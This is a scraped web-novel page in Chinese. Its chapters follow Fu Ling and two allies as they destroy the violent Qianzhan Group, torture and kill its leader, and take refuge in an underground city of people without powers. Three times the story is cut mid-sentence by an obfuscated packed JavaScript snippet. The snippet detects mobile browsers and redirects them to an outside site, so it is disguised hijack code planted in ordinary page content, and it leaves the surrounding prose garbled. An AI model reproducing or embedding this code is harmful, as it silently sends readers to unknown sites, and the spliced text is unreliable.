窗明几净的办公室内没有一个人影。 长沙发被挪到门口,死死抵住了大门。办公桌下面,王瞻早已不复先前高高在上的模样,抱着头缩在里面瑟瑟发抖。 闯入前瞻集团的感染者数量骇人,甚至大部分都冲着这一层来了。 王瞻自身异能一般,能坐到这个位置大多是因为他在灾难之初结识了几位强大的异能者。但不知为何,这几日他们都跟自己失去了联系。 他对这些人的失踪并不在意,甚至可以说,他早就期待这一天的到来,好让自己坐上前瞻集团最高的位置。 众所周知,王瞻是整个集团高层中公认的“最弱”的一个,不单单是指实力的强弱,更是指智商的高低。 很多时候,重大的决策往往不会带上王瞻的意见。 也正是因此,他才会疯魔了一般夺权,势必要让前瞻集团有他的一席之地! 所以对于高层其他几人的接连失踪,王瞻是打心底地兴奋。 在他看来,这就是上天给予他的时机! 毕竟集团内部趋于饱和,整个临安城内的异能者几乎都聚集在这里,就算真遇到什么事情了也能抵抗得住。 他前几日里还在想,究竟是哪一位英雄好汉居然帮着他解决了这么多竞争对手。 但王瞻不愧是公认的“智商最低”,高层失踪的这几日里他居然只关注着自己的权力,完全没有想到自己会不会就是下一个失踪的对象。 直到今天。 他完全没有想到,今天居然会有这么多感染者进入集团! 甚至在楼下聚集的异能者都没能将其击退,反而放任感染者上了高层,追着他撕咬。要不是他趁秘书不备推他出去挡了一下,他早就死在感染者手下了。 想到这里,王瞻的呼吸变得急促起来,双目通红。 自从异能者联合起来创建前瞻集团之后,他便再也没这么狼狈过。 细微的声音从大门传来,王瞻整个人精神紧绷,听到声音猛地一抖,头狠狠撞在办公桌上。 他咬着牙才让自己没有痛呼出声,跪在地上小心翼翼地伸出头看了一眼关上的门。 沙发牢牢地抵在门上,看上去格外牢固。 他缩回脑袋,神经质般喃喃自语:“进不来的,他们进不来的,这群死人肯定不会攻击这扇门……” 感染者凭借目之所及进行攻击,所以只要自己不被这些感染者发现,他们不会擅自攻击房间大门。 心中不断默念着,但王瞻却依旧觉得不安,不详的预感越来越厚重。 咚—— 门口突然传来沉重的撞击声,木头微微断裂的声音响起,伴随着令人恐惧的嘶吼声。 王瞻双腿一软跪在地上,颤抖的手死死抓住身侧的沙发,难以置信地惊叫出声:“怎么可能?!” 他的胸口急促起伏着,看向大门的双目里满是惊恐。 “王总,那个红衣女人又来了。” 他脑中突然想到十分钟前秘书跟他说的这句话,他猛地站起身,手忙脚乱地打开电脑,点进集团周围的监控,嘴里不停地念叨着:“红衣……红衣……” 撞击声还在不断袭来,王瞻面露焦急,不住地往门口看,手指不断点着快进键:“快点,快点啊!” 突然,他不知道看到了什么,整个人猛地僵住,瞳孔骤然收缩,映照着监控里的画面。 集团的创始人在近些天内一个接着一个的失踪, 而在他们中,有一个最强大的人。 那人失踪的那天晚上,天还昏暗着,周围皆是深厚的黑,只有集团里还亮着灯。 一身黑衣的人从集团里面走出,进入的监控视线之内。 就在那人走出集团的下一秒,一条红色的蛇窜上了他的脖子。 不。 王瞻趴在办公桌上,眼睛因为惊恐而微微突出。 那不是一条蛇,而是一把剑! 一把红色的软剑,缠上了那人的脖子。 几乎只用了几毫秒,甚至王瞻都没有看清那把剑的动作,那人的脖子已经被整个切断,掉在地上滚了好几圈,留下几摊血迹。 王瞻捂着嘴呕了一声,还没等他有其他动作,监控中就出现了一道红色的身影。 这道身影太过耀眼太过嚣张,以至于一出现在监控中就瞬间吸引住了王瞻的注意力。 他死死盯着那道缓缓走出阴影的人。 那人缓缓抬头,露出了与今天他在监控里看到的别无二致的脸,带着嗜血而兴奋的笑容。 哐当。 王瞻脱力一般瘫在了办公椅上。 是她! 居然是她! 短短几秒就能砍下集团中最强者的头颅,这个女人的实力绝对超乎他的想象,甚至很可能在他们所有人之上! 即便她只是一个无能力者,她也是无能力者中最强大的一个。 放在以前,这样的人一旦出现在集团周围,前瞻集团高层绝对会在第一时间采取措施。 但可惜,如今的前瞻集团高层只剩下了他一个。 而在秘书跟他汇报的时候他做出了什么应对措施? 他说“不必管她”。 王瞻猛地抱住了自己的脑袋,双眼通红。满脸懊悔。 早知道,早知道他一定不会放任这女人进入集团范围! 监控还在继续。 红衣女一蹦一跳地踹飞停在前方的头颅,像在踢飞一个平平无奇的皮球。 王瞻下意识抬眼,恰好对上了女人看向摄像头的眸子。 她笑嘻嘻地用口型,对着监控说:“下一个,就是你。” 砰! 沉重的大门终于被整个轰开,无数感染者蜂拥而入。 但王瞻却早已无暇顾及,因为在密密麻麻的感染者后方,与监控中一模一样的漂亮脸蛋正笑眯眯地看着她。 如同一尊怎么甩都甩不掉的恶魔。 “啊啊啊!”王瞻崩溃大叫,疯狂向前扔着令人眼花缭乱的道具,道具生效的声音不绝于耳。 祝无忧好奇地扒着伏苓的胳膊:“那是什么?” 程承看了她一眼:“你不知道?” 如果他没记错的话,祝无忧之前给他的药水就是一个道具。 祝无忧摇摇头:“不知道啊,那个药水是我随手捡到的,功效和名字也是星牌自己取的。” 伏苓好奇道:“什么药水?” 祝无忧简单描述了两句,伏苓点点头没多问什么。 程承转头,目光冷冷看着里面混乱的场景和王瞻凄厉的惨叫,心中的郁结之气散去了些,便解释道:“那是道具,雨水落在人身上有一定概率变成异能者,同理,落在物品上也可能让物品拥有一些能力。这种情况不多,只有少数,临安城内——甚至周围几个城市里的道具基本上都被这群人搜刮完了,不知道很正常。” 伏苓抬脚将一旁迷路的感染者踹进办公室,转头问:“那你怎么知道?” 程承看着她的动作木了两秒,说:“我之前被拉去充壮丁,干过这事。” 程承说得简单,但是前瞻集团的德行伏苓清楚,所 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926284|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谓搜刮必然不是简单的抢走,更可能是杀人越货。 若是集团里的人稍微有点人性——起码不滥杀无辜,伏苓也不会单枪匹马地揭竿而起,杀到总部来。 里面的声音渐渐平息下来,感染者的尸体铺满了整个办公室,伏苓“哎呀”了一声:“好像还有条狗没死呢,我们进去看看呀。” 伏苓跨过感染者进入办公室,就看见王瞻呆呆地瘫坐在地上,呼吸急促。 见到他们进来,王瞻猛地抬头,猩红的眼里满是愤怒,冰蓝色的异能化作箭矢袭向伏苓,他大吼着:“去死!去死!都怪你,我用掉了积攒的所有道具!你这个疯子!” 王瞻的心在滴血,他疯狂地用尽浑身的力量攻向伏苓,试图拉着她同归于尽。 但很快,他就说不出话了。 因为他看到自己倾尽全力使出的攻击被伏苓轻飘飘地用软剑砍断。 对,砍断。 那把软剑如飞舞的蛟龙,将他所有的攻击在同一时刻对半切开,散落成无用的冰渣掉在地上。 王瞻瞳孔微缩,他惊慌失措地向后挪去,哪怕满地鲜血也无意再去顾及:“怎么可能,怎么可能?!” 伏苓嫌弃地扫了一前满地的血迹,站在唯一那处干净的地方,举着枪对准他,语调俏皮,却如同来自地狱的恶鬼:“你死定咯。” 砰砰砰—— 枪声震耳欲聋,王瞻紧紧闭着眼,却没想到直到枪声停止,自己还有意识。 他心中涌上一阵狂喜。 没想到这女人看着吓人,实际上根本没胆子杀自己,说不定还是有求于他,所以才开枪吓唬吓唬好让自己答应她的要求…… 还没想出所以然来,王瞻的四肢隐隐约约传来撕裂的痛感。 他有些愣怔地睁开眼睛,看见能量枪的每一发都精准无比地钉在他的四肢上。 身体的保护机制再也无法阻挡彻骨的痛感,他发出了尖锐的惨叫声:“啊!你怎么敢的?你怎么敢……” 因为剧烈的疼痛,他根本无法说出准确的音调,每一句话都含含糊糊。 伏苓不在意他说了什么,趁这人还没叫几声便将一旁的抹布塞进他嘴里,笑嘻嘻地说:“骗你的啦,怎么可能让你这么容易就死掉呢?” 她扫了一眼身后站着的祝无忧和程承,让开了些许:“你们谁要来呀?” 方才她可是清晰地看到了这两人眼里藏都藏不住的恨意。 猜也能猜到,程承和祝无忧多半是被前瞻集团杀掉亲人朋友才抢过来的异能者中的一员。 祝无忧沉默了许久,才摇摇头:“我就算了。” 她的父母是被雨水淋到变成了感染者,对前瞻集团的恨来自于他们当着她的面杀死了自己的父母。 但其实多年来,她也意识到,自己的父母变成感染者后多半就回不来了,她异能太弱,根本没办法保护父母,他们被杀也是迟早的事情。 相对来说,祝无忧只是厌恶王瞻这人极端的做法。再者,她也没有折磨人的爱好,能让他死便已是极好的了。 伏苓惋惜地“啊”了一声:“好吧好吧。” 她又看向程承:“你要来吗?” 程承的目光缓缓移到了王瞻身上。 王瞻终于清醒了一点,他睁开一条缝,却倏地对上了程承黑漆漆的眸子。 那日血流成河的场景如电影般浮现在他脑子里,他僵在原地。 “程、程承?”意识到这人是谁后,他连疼都顾不上了,疯狂地摇头,在地上蠕动着向后爬去,“你……你不要过来!” 5. 无异能者的噩梦集团05 伏苓见状笑得更开心了。 她一脚踩在王瞻的手上,脚下的人顿时发出了凄厉的惨叫。 她看向程承:“说话呀,亲爱的。” 程承沉默几秒,声音轻轻:“我来。” 闻言,伏苓也乐得清闲,笑着放开手上的人。 王瞻身下满是鲜血,四肢因为失血过多而毫无知觉,但他依旧满目惊恐地朝后挪去:“不要过来!程承,你想清楚,如果你不进集团根本活不下去!难道要守着那几个毫无能力的人活活耗死在外面吗?” “闭嘴。”程承看着他狼狈的样子,心中多了几分痛快,他面无表情,一步一步地朝着王瞻走去:“这一切都是你们道貌岸然的借口罢了,少在这跟我说什么大道理。” 他毫不在意地踩上地上的血液,猩红弄脏了他的军靴。 他在王瞻面前蹲下,声音低沉,似是在自言自语:“早在杀了我的家人的时候,你就该预料到有这一天。” 他勾起唇角,沉寂半晌的血兔再次凝聚在他身后,血红色的眸子死死盯着王瞻,兔唇诡异张大,发出嘶哑的尖叫,红雾凝结而成的身体因为疯狂的大笑而颤抖。 祝无忧看着血兔的身影,小心翼翼地咽了口唾沫,挪到了伏苓身后。 伏苓抱着臂,目光饶有兴致地落在附身于程承的血兔。 这只兔子附身的时候,程承的异能似乎要更强一些,可之前两人对峙,它怎么没出来? 是有什么原因吗? 伏苓眯了眯眼。 红雾缠绕上王瞻的脖颈,程承的声音比以往的任何一天都要冷静:“你不是最喜欢杀无能力者了吗?临安多少人死在你这个错桑的手里,你心里不清楚吗?” 王瞻双目充血,因为窒息发出了吭哧吭哧的求饶声:“别……杀……” 程承笑了一声:“八年来,有很多人这么跟你求过饶吧?你放过他们了吗?” 他闭上眼睛,红雾猛地收紧。 再起身的时候,王瞻已经没有了呼吸。 伏苓坐在沙发上尚且干净的地方,对他干脆利落的动作感到遗憾:“这种人就该虐杀啊,你又不是不知道他虐杀过多少无能力者。” 尝到权力甜头的人,就会高高在上地滥用自己的权力。而像王瞻这种人,强也强不到顶,弱也算不上弱,所以只能通过虐杀实力弱小的无能力者,来满足自己的欲望。 但她也没有越俎代庖多说什么,只是托着腮问他:“还没问你,集团里的异能者怎么会打不过这些普通的感染者呢?” 前瞻集团之所以强大,是因为集团里的异能者相对于其他人来说要更强大一些,更别说集团里聚集着那么多异能者。 按道理来说,大量感染者侵入或许能砍集团一臂,但做不到像今天这般堪称团灭的结果。 程承垂着眸,拿起一旁的干净手帕,等指尖沾上的血迹被细致地擦干净,他才缓缓道:“这个有点复杂,之后我慢慢解释。” 他顿了一下,继续补充:“反正,只有那些参与过虐杀无能力者的人才会死在这里。” 若是他也滥杀无辜,那跟王瞻有什么区别? 伏苓得到满意的答案,起身道:“那就走吧。” 三人扫了一遍楼,确定没漏下什么人后才地出了集团。 如今前瞻集团基本上已经名存实亡,集团名册上的强大异能者也都被她一一解决,只剩下最后漏掉的一条小鱼,但仅凭这一个人,多半掀不起风浪。 压在伏苓心口的石头终于落下,她随意地挥了挥手,跟两人告别,准备离开。 冷风刮过,将淤堵在周围的血腥腐烂的气息吹散,空气总算清新了些许。 伏苓抬头看了看天,依旧是阴沉沉的,但短时间内应该不会下雨。 她走了两步,却听见背后的脚步声始终没有消失。伏苓停下脚步,沉默了两秒,转身盯着两个默默跟着自己的跟屁虫,疑惑道:“你们跟着我干什么?” 祝无忧支支吾吾:“那个,我们平时都住在集团里,现在集团没了,就没地方去了。” 为了高度控制集团旗下的异能者,所有人都只能住在集团内部。 伏苓瘪瘪嘴,看向了程承:“你也是?” 祝无忧这样老实的孩子不敢偷偷建个庇护所就算了,她可不相信程承也没有。 程承有些尴尬地笑了一声:“我在外面确实有住所,平时都是我一个人。” 他顿了顿,似乎有些难以启齿:“但是,我想跟你交个朋友。我异能强度还可以,或许可以帮到你?” 伏苓微微挑眉。 祝无忧瞪大眼睛看了程承一眼,小声骂了一句“卑鄙老贼”,然后飞快转过来拉住伏苓:“我也要跟你交朋友!” 伏苓:“……?” 她刚想拒绝,又突然想到什么,点头道:“行吧。” “还有,我差点忘了。”伏苓从上衣口袋里掏出一个遥控器,笑嘻嘻地对着前瞻集团的大楼比了个手势:“再见咯。” 遥控器上的按钮被毫不犹豫地摁下,下一秒,集团内发出震耳欲聋的爆炸声。 刺耳的轰鸣声中,高耸入云的前瞻集团如同被巨人的力量撕裂,向着天空喷发出一团巨大的火球。随着爆炸的蔓延,高楼的混凝土结构被炸成碎片,钢筋飞舞着向四面八方洒落。厚重的浓烟翻滚而上,将周围的天空笼罩在一片黑暗之中。 凌驾于临安城八年的巨型集团终于在这一刻轰然倒塌。 程承安静地看着那边的火光:“这下是真的没地方去了。” 伏苓看了他一眼,男生漂亮的眼睛如清澈的深潭,睫毛根根分明。 她轻眨眼睛,随手将遥控器扔在一边:“那就跟我走吧。” 祝无忧立马高兴了,她挽住伏苓的胳膊:“好啊好啊。” 伏苓带着两人左拐右转,穿过了高耸入云的大楼进了一个小巷子。 在高楼大厦的阴影下,这条小巷子显得格外不起眼。 它藏匿在楼宇的角落,巷子的尽头是一间破败的小屋,从外部看去,木质结构已经腐朽,屋顶上覆盖着厚厚的苔藓,墙壁斑驳,门窗破烂,似乎已经多年无人居住。 伏苓熟练推开那道吱呀作响的木门,透过破碎的窗户,微弱的阳光洒进来,勉强照亮了昏暗的室内,屋内弥漫着尘土和潮湿的气息。 临安城在末世前也算是全国数一数二的城市,高楼大厦鳞次栉比,破败成这样的小屋屈指可数,就像是上个世纪的产物。 祝无忧“额”了一声,小心询问:“伏苓姐,你住这啊?” 她倒也不是嫌弃,只是这地方到处是灰,看上去不像有住人的样子。 而且……她偷看了一眼伏苓,觉得伏苓看上去也不像是住在这里的人。 伏苓没有回答,她伸手在满是尘土的墙壁上轻轻一推,一个虹膜扫描装置骤然出现,蓝光迅速扫过伏苓的面庞。 眨眼间,本来破破烂烂的土墙无声地向后移动了些许,从中间割分开来,露出了一个向下的狭窄楼梯。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926285|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 祝无忧捂住嘴:“我去,这啥呀?” 跟科幻小说似的。 伏苓迈步向下走去:“我住的地方啊,跟紧咯,不然小心被——” 她看向祝无忧,比了个“砰”的动作,然后笑嘻嘻地接上了上一句话:“咯~” 祝无忧立马跳到了她身边,小心翼翼地扯出她的衣袖,颤颤巍巍道:“这这这么严重吗?” 楼梯两侧贴着用来照明的灯带,光不算亮,但也能让人看清道路。 墙壁上贴着高分子隔音板,看上去是个安全屋。 程承小心观察了一下情况,跟着前面两人缓缓往下走,走到中间的时候,他甚至看到了几个隐藏着的自动射击枪。 他往后看了一眼,那道门已经悄无声息地关上了,而一向警觉的自己甚至没有意识到它什么时候关上的。 他没忍住问道:“伏苓,这里是?” 伏苓没说话,站定在楼梯尽头的墙壁面前。红光扫过,机械女声骤然响起: “伏苓女士,欢迎回到无能力者之家。” 祝无忧当即捧场,异常真诚:“好名字。” 伏苓勾唇:“当然,我起的。” 程承木着脸,嘴角抽了抽。 墙壁缓缓从一侧打开,熙熙攘攘的声音如潮水般涌来。祝无忧好奇地凑上去。 只见眼前高高低低的房屋堆积在一起,但却没有显得毫无秩序,中间夹着的道路纵横交错,宛如迷宫般令人眼花缭乱。建筑密布其中,在天花板的人造光源下反射着柔和的光芒。 天花板上不知是什么高科技装置,将天花板变成了与外面的天空别无二致的模样,蓝天、白云、飞翔的麻雀一个不落,丝毫不会让人感到压抑。细看去,远处的空中还有几个跌跌撞撞的飞行器正绕着圈。 男女老少笑呵呵地走在路上,孩童成群奔跑,笑声穿到几人的耳中。 这里俨然是一处科技极其发达的地下之城模样。 祝无忧呆呆道:“我去……” 正中心的天花板上垂下一只约莫有十人环抱大的机械眼睛,它扫向三人,眨了眨。 随后,略显疲惫的男声在三人附近响起:“伏苓,这是你的朋友?” 伏苓随意“嗯”了一声。 祝无忧小幅度地跳了一下,左看右看,往伏苓身边缩了缩。 那道男声笑了一下,提醒:“我在你左边的隐藏式喇叭里,小姑娘。” 祝无忧指着墙壁上被蜡笔画得五颜六色的凸起:“这个?” 男声笑道:“是的,真聪明。” 他顿了顿:“伏苓,带着你们小伙伴们进来吧。” 伏苓应了一声,带着两人向内里走去。 她走在前面,解释道:“跟上哦,要先登记一下,不然进出的时候会被打成蜂窝的。” 程承想到了方才的那些扫射枪,抿了抿唇。 两人跟着伏苓向前走去,几个孩子突然扑了上来,抱住了伏苓的腰。 程承的目光从他们身上依次扫过,没有感受到任何异能的存在,这群孩子也是无能力者。 这么数量庞大的无能力者,居然能在前瞻集团的追捕下创造出这样一个小型城市,靠的是什么? 为首的孩子名为小欢,他笑眯眯地问道:“伏苓姐姐,我们在你枪上画的画还在吗?” 程承恍然,原来那些画是这几个孩子画的。 伏苓粗鲁地揉了揉为首的小男孩的脑袋,笑着说:“当然还在,我很小心的。” 6. 无异能者的噩梦集团06 伏苓没聊两句就将这几个孩子给哄走了。 她带着两人来到中心的一处白色小屋里,门口漂浮着一个机器人,见到伏苓有条不紊地将门打开。 哪怕走到这里见到了不少技术产物,祝无忧还是有些惊奇。 虽然灾难发生前,世界科技确实发展得不错,但是这几年下来基本上都被糟蹋得差不多了,没想到这个地方居然还保存着这么多高科技产物,甚至相比于之前,科技还增长了一点。 是有什么世外高人在这里研究科技吗? 屋内悬空挂着数十台数据屏,正中间的椅子上坐着一个带着无边框眼镜的男子,他衣着随意,看着却很干净。一双桃花眼中带着些许萎靡,明明眉眼温柔,却莫名给人一种半死不活的感觉。 见到三人进来,他旋转椅身面对他们,点头说道:“回来了?” 他看了一眼伏苓身后的两人,微笑:“你们好,我是方休。” 两人也挨个报了自己的名字。 伏苓直接找了个座位坐下,神色散漫:“方医生,他们没地方去了” 方休扫了两人一眼,又坐了回去。指尖在屏幕上轻点两下,扫描的红光飞速掠过他们的身体。他身后的数据屏飞速跳动着乱七八糟的数字,然后显露出两人的信息。 程承皱了皱眉。 数据屏上显示的都是一些基本信息,没有过多暴露个人隐私,但他还是觉得有点不舒服。 这感觉就像,这群地下组织时时刻刻都在暗处关注每一个人一样。 “不好意思。”方休看向他,似乎是察觉到了他的想法,目光中带上了些许歉意,“进入地下之城的人我们还是需要了解一下基本信息的,冒犯了。” 他这话说的时机恰好,让程承刚冒出头的不舒服在顷刻间消散。 其实也可以理解,毕竟这八年来临安城内一片狼藉,前瞻集团恶意追杀无能力者,甚至以虐杀无能力者为乐趣。伏苓他们一群待宰的羔羊聚集在一起,谨慎一些也是应该的。 程承摇了摇头:“没关系。” 方休微笑着朝他点点头啊:“那么,欢迎加入地下之城。” 伏苓点了点桌子,不满:“什么意思?我起的名字不好听吗?” 方休笑了一下,不置可否。 程承沉默了一瞬,没继续这个话题,他问道:“方医生是异能者吗?” 这间屋子里不知装了什么装置,让他感受不到异能的存在。 方才扫描的红光太过迅速,他甚至都没有察觉,自己的信息就已经被收集了。这样的情况让他不得不认为眼前的人是一位异能者。 方休像是知道他在想什么,摇了摇头:“很遗憾,我并不是。灾难发生之前,我是一名研究员,方才扫描你们的仪器,也只是我造出来的产物罢了。” 祝无忧好奇:“既然你是研究员,那为什么叫你方医生?” 伏苓解释:“因为这里没有医生,他恰好又会一点医术,住在这里的人也觉得喊‘方研究员’太奇怪了,所以都喜欢喊他方医生,时间长了,我们也就都这么喊了。” 祝无忧乖乖点头,又问:“那现在我们是不是就可以随意活动了?” 伏苓:“对哦,你们可以去外面转一转。” 闻言,祝无忧早就等不住了,伏苓话音刚落她便蹦着出了门。 程承看了伏苓一眼,她靠在椅背上,明显是有话要和方休说,他抿了抿唇,转身离开。 等两人离开,门口的机器人扫描周围没有发现可疑人员,才将门关上。方休看向她:“怎么样?我给你的炸弹好用吗?” 伏苓转着椅子,发尾随着她的动作荡漾起来,她笑得开心极了:“那可太好用了。” 远程遥控,杀伤力惊人,确实极为好用。 方休敲了一下键盘,又将祝无忧和程承的信息调出来,这一次的信息相比刚刚在两人面前显示出来的要详细一些,将他们在前瞻集团的行动也列举了出来。 他的系统早就侵入前瞻集团的内部系统,可以不费吹灰之力地拿到集团所有人的信息,只不过他确实不怎么会关注没有踏入过地下之城的人的信息,这一点他没有骗程承。 “这两人没什么问题,都是临安本地人,手上没沾过无辜人的鲜血,留下来没问题。”方休说。 伏苓点了点头,她虽然与两人相处时间不长,但已经将他们的性格品行摸得差不多了,不然也不可能带他们到这里来。 方休笑了一下,转身劈里啪啦地将一堆数据调了出来:“我已经确定了你父母的位置,在肃州,这场灾难很可能跟他们所研究的项目有关。” 伏苓的父母自她年幼时就进行封闭实验。她父亲伏怀倒是时不时会回来,母亲沈文乔却是自她记事起便再也没有见过,但灾难发生前夕,两人立马没了消息,怎么都联系不上。 她不太清楚他们俩在做什么研究,只知道保密性极高,所以也从未去过问。 方休之前便是那个研究所的,但是因为身体原因,很久之前就辞职了。伏苓原以为他辞职后就不再关注研究所的事了,没想到他对研究所研究的东西依旧很是在意。 伏苓转着手里的杯子,茶水漾起波澜。 她没耐心看那些令人头疼的数据,只道:“那看来我确实得去一趟。” 灾难发生了八年,算起来,她与父母已经有数十年没有见过。虽说自己对他们没什么留念,但那毕竟是自己的爸爸妈妈,如今生死不明,再加上这场灾难的源头又很可能就起源于那边。 不管是出于亲情,还是出于好奇,又或者是一些诡异的救世感作祟,她都想去探一探。 但更主要的是,她不想就这么不明不白地这样死在这里。 方休叹了口气:“怎么?这次又是你的直觉?” 伏苓的直觉异常准确,她一向很相信自己的直觉,这一次也是。 她笑着点点头:“对。而且,我觉得再这样下去,迟早得疯。” 她,或者说,很大一部分还活着的人都可能疯掉。 如今的生活太黑暗太压抑了,所有人都要提心吊胆地去活每一天。 伏苓非常讨厌现在这样的生活。就算他们现在有一个栖身之所,她也觉得自己是被束缚被压着的。 方休也没说什么,只是问道:“想好什么时候走了吗?” 本来伏苓是想着把前瞻集团解决后就直接走的,没想到遇到了程承和祝无忧。 她不是什么圣人,收留他们更多是因为她离开后,地下之城需要一个强有力的守护者。 不过,临安城也没什么威胁了。 ——她已经将所有的危险都处理干净,除了偶尔还会游荡的感染者。 那些感染者对于地下的这些拥有高科技的百姓来说,应该不足为惧,所以将两人带进来更多是庇护的意思。 她想了想,说:“就这几天吧。” 方休笑笑:“行。你们的第一站应该会是集庆,那里是军区所在,是如今国家的中枢机构。如果可以的话,希望你能帮我跟他们搭上关系。” 伏苓微微蹙眉:“军区?你为什么要跟他们合作?” 方休神色意味深长,却没有多说什么,只是道:“军区自然他自己的情报链,我也希望多了解一下如今的情况,两两合作,才是人类该有的面对灾难的态度。” “奇奇怪怪的,八年了才想起来合作是不是太晚了?”伏苓毫不客气地揭穿他。 方休又笑,却只是在笑,没有解释。 “行吧。”伏苓站起身朝外走去,“我会的。” …… 一缕阳光穿过顶上的下水道口,从缝隙中照在一片小型花圃之上。 粉色白色的小花晃了晃身子,微微挺拔。 祝无忧蹲在花圃旁边,面露惊奇:“我都八年没见到花了!” 她兴冲冲地拉住一个小孩:“你知道这是什么花吗?” “姐姐连这个都不知道呀,这是秋英啊。”小孩毫不客气地嘲笑她。 祝无忧气鼓鼓:“我哪里分得清那么多花,我看这个分明长得像朵菊花!” 闻言,小朋友笑得更欢了,一旁又凑过来一个小女孩,笑眯眯地回答:“姐姐,秋英就是菊花的一种啦,它又叫波斯菊,是生命力很顽强的一种菊花哦 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14926286|160523||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” “哦……”祝无忧尴尬地挠挠头。 小女孩也学着她蹲在花圃旁边,像个小大人一样解释道:“妈妈说,秋英的寓意是美好的未来,婶婶们种秋英,就是希望之后我们能回到以前和平宁静的生活,寄托了我们美好的愿望。” 她摇头晃脑,似乎是在模仿谁吟诗颂词。 被小女孩稚嫩的声音吸引,程承将目光从小白屋上收回来。 他身边坐着一个孩子的家长,此时正笑呵呵地看着玩闹的小朋友。 程承静静地看了一会被那缕仿佛一掐就会消失的阳光照耀着的秋英,微微侧头,不经意地说:“这边看上去可比外面好多了。” 男人看了他一眼,笑容淳朴:“是啊,多亏了方医生和小苓,拉着我们将地下之城建立起来,不然我们这些别人眼中的废物怎么能活到今天?” 程承跟着笑了两声,半空中的飞行器还在跌跌撞撞地飞着,他打探道:“这些无人机都是方医生做出来的?” “对啊,这些飞行器上装着一些屏蔽装置,能短暂地屏蔽异能的影响。我跟你说啊,方医生可厉害了,雨灾之前可是顶尖大学的高材生,后来还进了国家级的项目。”说到这里,男人叹了口气,惋惜道:“可惜就是身体不好中途推出了,不然以他的才华,怎么可能在这里蹉跎一辈子?” 屏蔽异能? 程承微微一顿,好奇道:“什么东西能屏蔽异能啊,是跟他们研究的内容有关吗?” 男人一拍大腿:“这些东西哪是我能了解到的?他说了我也听不懂啊!” “我听说方医生会医术,你说他那项目是不是可能跟医学有关?”程承继续套话。 男人摸摸下巴:“有可能啊,诶,你知道伏苓吧?她父母就是从事生物研究的,之前方医生跟他们还在一个研究所待过,说不定就有关系——不过生物研究跟医学好像差得还挺远的。” 生物研究? 程承皱了皱眉。 恍惚间,一股淡香自远及近,如藤蔓般缠上他的鼻尖。 “趁我不在偷偷探人口风啊?”带着调笑的声音在他耳侧响起,说话间,呼吸轻轻喷洒在他耳尖。 程承心脏一缩,下意识躲了一下,侧头对上了伏苓近在咫尺的眸子。 两人靠得很近,程承坐在椅子上,伏苓站在他身后微微弯腰,唇瓣几乎都快碰到他的鼻尖,挑染的发尾从她肩膀垂下,悬在他的手背上,痒痒的。 “好不道德啊。”伏苓皱了皱眉,轻飘飘地谴责他:“再这样不听话的话,我可要惩罚你咯。” 她尾音上扬,像一只钩子勾住了程承的心脏,吊起又落下。 他心虚地眨了眨眼睛:“没有……就是聊一聊。” 伏苓扶着椅背转到前面,坐在他身侧翘起二郎腿,挑着眉看他:“好厉害呢,才几分钟就聊到我的父母了。” 程承看着她,不知为何突然笑了一下,认错道:“我错了。” 虽然说着谴责的话,但伏苓的语气却与初次见面时截然不同,那是她是真想杀他,而现在只是口头警告,或者说,是朋友之间的友情提醒。 与她站在对立面很难熬,但若是她将自己纳入己方阵营,程承却觉得她说的话做的事格外……可爱。 程承被自己的想法震惊了一下。 他小心翼翼地看了伏苓一眼,她翘起的小腿一晃一晃,胳膊搁在膝盖上,托着腮看面前的小孩玩闹。 第一次见她只觉得忌惮,怎么也不会将一个战斗疯子跟“可爱”这个词挂上钩。但此刻,孩童绕膝而行,笑语声从周边传来,一切都显得格外温馨,竟让他觉得,这个词也未必不能用在她身上。 “看什么呢?”程承猛地回神,撞进了伏苓散漫的眸中,才惊觉自己已经盯着人家看了很长时间了。 他有些尴尬地收回目光,小声说了句:“抱歉。” 看人家看出神什么的,实在是太不礼貌了。 他想了想,正色道:“之前说要跟你解释前瞻集团异能者的事情,我们找个人少的地方?” 伏苓“哦”了一声,站起身来:“那你来我这边吧。” 7. 无异能者的噩梦集团07 各种各样的房子堆在一起,像搭建在一起的积木世界,紧密相依,但并不拥挤。 伏苓熟练地顺着狭窄的街道左拐右拐,来到了一处小房子前。房子上方盘旋着初进入地下之城时看到的巨大眼球,它转过来看了他们两眼,又眨着眼睛巡查别处。 地下之城发生的一切恐怕都逃不过这颗眼球的监视,方才程承与住民的聊天估计早就被它听了去。没有阻止他的套话多半是因为方休觉得他知道这些信息也没什么。 程承摸了摸耳垂,有些不好意思。 伏苓推开木门,示意程承跟上。 房子不大,但也布置得温馨。入眼是一个小客厅,摆着柔软的沙发和茶几,中间只用纱帘隔开,影影绰绰地瞧见纱帘那边是个小卧室。 伏苓示意他去一边的沙发上坐,自己走到一边拎起茶壶。 